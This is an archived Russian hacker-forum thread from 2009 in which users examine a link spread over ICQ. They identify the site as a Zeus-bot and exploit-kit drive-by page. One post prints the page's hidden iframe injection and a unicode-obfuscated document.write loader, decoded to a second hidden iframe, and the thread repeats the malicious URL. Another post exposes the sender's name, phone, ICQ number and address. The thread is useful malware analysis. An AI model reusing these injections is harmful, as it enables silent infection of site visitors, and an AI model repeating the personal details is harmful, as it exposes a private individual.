PDA

Просмотр полной версии : подозрительный файлик

N19hTW0lF
20.04.2009, 00:16
http://yehoshua-m.com/media/00500/
че за фигня ?
gold-goblin
20.04.2009, 00:17
мазила ругается на сайт....
Shisha
20.04.2009, 00:19
смотреть стремно :/
N19hTW0lF
20.04.2009, 00:20
Бот Зеуса
IcEnd
20.04.2009, 00:22
Имеется информация, что этот сайт атакует компьютеры!
Сайты, атакующие компьютеры, пытаются установить программное обеспечение, которое похищает персональную информацию, вредит вашей системе или использует ваш компьютер для атак на другие компьютеры.
Shisha
20.04.2009, 00:23
Бот Зеуса
ты? :D
N19hTW0lF
20.04.2009, 00:24
Denix (00:39:40 20/04/2009)
http://yehoshua-m.com/media/00500/
посмотри, классная вещь! вроде оно
--------------------------------------
nick: Denix
icq:83575777
mobile: +998971197403
Adress:Республика Узбекистан .Город:Ташкент.М-Улугбекский р-н
name:Коловский Д.

Ппц...эт уже второй кто хочет впарить троя.-\
Not Found...
20.04.2009, 00:31
Не советую ходить по ссылке..на сайте несколько троянов и даже один эксплойт :)
N19hTW0lF
20.04.2009, 00:36
У каво дедик или виртуалка то попробуйте открыть может чел не знал (т.е. вместе с трояном там какойто ролик) чтобы я знал что он не специально отправил мну трой.
Если специально то утром кое куда звякну...а то достали.
gold-goblin
20.04.2009, 00:44
я прошел но не качал....
Прямо по ссылке сплойт + предложение что-то скачать + отзывы типо мне понравилось и т.д
Not Found...
20.04.2009, 00:45
Видео:http://depositfiles.com/files/mjfl5oc1l
Выводы делай сам)
Да совсем забыл..файл который можно скачать с сайта,это тоже троян.
http://s57.radikal.ru/i155/0904/d3/3af5c0ba03c9.jpg
Rav1n
20.04.2009, 06:36
ты ебанулся такие ссылки выкладывать? ща всех нубов затроянишь))
тебе пришла рассылка по КЛ, а ты повёлся :D

У каво дедик или виртуалка то попробуйте открыть может чел не знал (т.е. вместе с трояном там какойто ролик) чтобы я знал что он не специально отправил мну трой.

Регистрация: 11.07.2007
ппц......
ViP-K1LLeR
20.04.2009, 07:01
У каво дедик или виртуалка то попробуйте открыть может чел не знал (т.е. вместе с трояном там какойто ролик) чтобы я знал что он не специально отправил мну трой.
Смысла в виртуалке/дедике нет, т.к связка использует уязвимости браузера и если граббить контент со страницы, не выводя содержимое страницы в браузер, то ничего страшного не случится.

по ссылке стоит ифрейм.

<iframe src="http://linenetz.com/stats/ru1.php" style="display:none"></iframe>

далее:

<script type="text/javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u00 6d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0068 \u0074\u0074\u0070\u003a\u002f\u002f\u006d\u0079\u 0066\u0075\u0063\u006b\u0069\u006e\u0067\u002d\u00 70\u0075\u0073\u0073\u0079\u002e\u0063\u006f\u006d \u002f\u0074\u0079\u0072\u0065\u006b\u002f\u003f\u 0074\u003d\u0038\u0022\u0020\u0073\u0074\u0079\u00 6c\u0065\u003d\u0022\u0064\u0069\u0073\u0070\u006c \u0061\u0079\u003a\u006e\u006f\u006e\u0065\u0022\u 003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u00 65\u003e')</script>

расшифровываем

<iframe src="http://myfucking-pussy.com/tyrek/?t=8" style="display:none"></iframe>

далее страничка под gzip'ом. Ну а потом мне лень стало. Сами ковыряйте.
X-RayBlade
20.04.2009, 08:00
Хотя бы представьте, что бы было, если по каждой ссылке переходили...
Xcontrol212
20.04.2009, 08:51
Вроде унипак,если предлогает что-то скачать
Not Found...
20.04.2009, 10:27
Хотя бы представьте, что бы было, если по каждой ссылке переходили...
Думаю ничего страшного,я вот по каждой хожу и вроде ничего плохого с компом не было :)
Защита хорошая...
waik
20.04.2009, 10:32
Думаю ничего страшного,я вот по каждой хожу и вроде ничего плохого с компом не было :)
Защита хорошая...

Это ты так не заметно понтанулся что фаервол смог поставить? :D
Not Found...
20.04.2009, 10:37
Это ты так не заметно понтанулся что фаервол смог поставить? :D
Нет конечно...чтото покруче файрвола :)
waik
20.04.2009, 10:40
Нет конечно...чтото покруче файрвола :)

инет выключаешь чтоб вирусов небыло и сидишь с телефона наверно.
:)
Not Found...
20.04.2009, 10:41
инет выключаешь чтоб вирусов небыло и сидишь с телефона наверно.
:)
Не угадал... :)
IcEnd
20.04.2009, 11:32
Не угадал... :)
Онотоле?
Not Found...
20.04.2009, 11:33
Онотоле?
Щас чёта не понял..что за Онотоле? :)
.AkeLLa
20.04.2009, 12:22
Kaspersky
Internet Security 2009
Доступ запрещен
Запрашиваемый URL-адрес не может быть предоставлен

В запрашиваемом объекте по URL-адресу:

http://yehoshua-m.com/media/00500/

Обнаружена угроза:

объект заражен Trojan.JS.Agent.ze


Пожалуйста, обратитесь к вашему провайдеру, если вы считаете это сообщение ошибочным.
Сообщение создано:
Mon Apr 20 11:21:55 2009
Kaspersky Internet Security 2009
.AkeLLa
20.04.2009, 12:25
20.04.2009 11:24:29 Обнаружено: Intrusion.Win.NETAPI.buffer-overflow.exploit Отсутствует TCP от 10.50.1.206 на локальный порт 445

:D
F1shka
20.04.2009, 13:03
Мда.... Хочешь прогу для накрутки рейтинга в контакте, весом 34 кб!???
NeXArmAor
20.04.2009, 13:06
Мда.... Хочешь прогу для накрутки рейтинга в контакте, весом 34 кб!???
Я хочу!111 Кидай!111
F1shka
20.04.2009, 13:07
Я чё то в бан не хочу. Хоть бы кто то поздравил ...
GrinGoO
20.04.2009, 13:10
Тоже пришла ссылка... Странно... не стал качать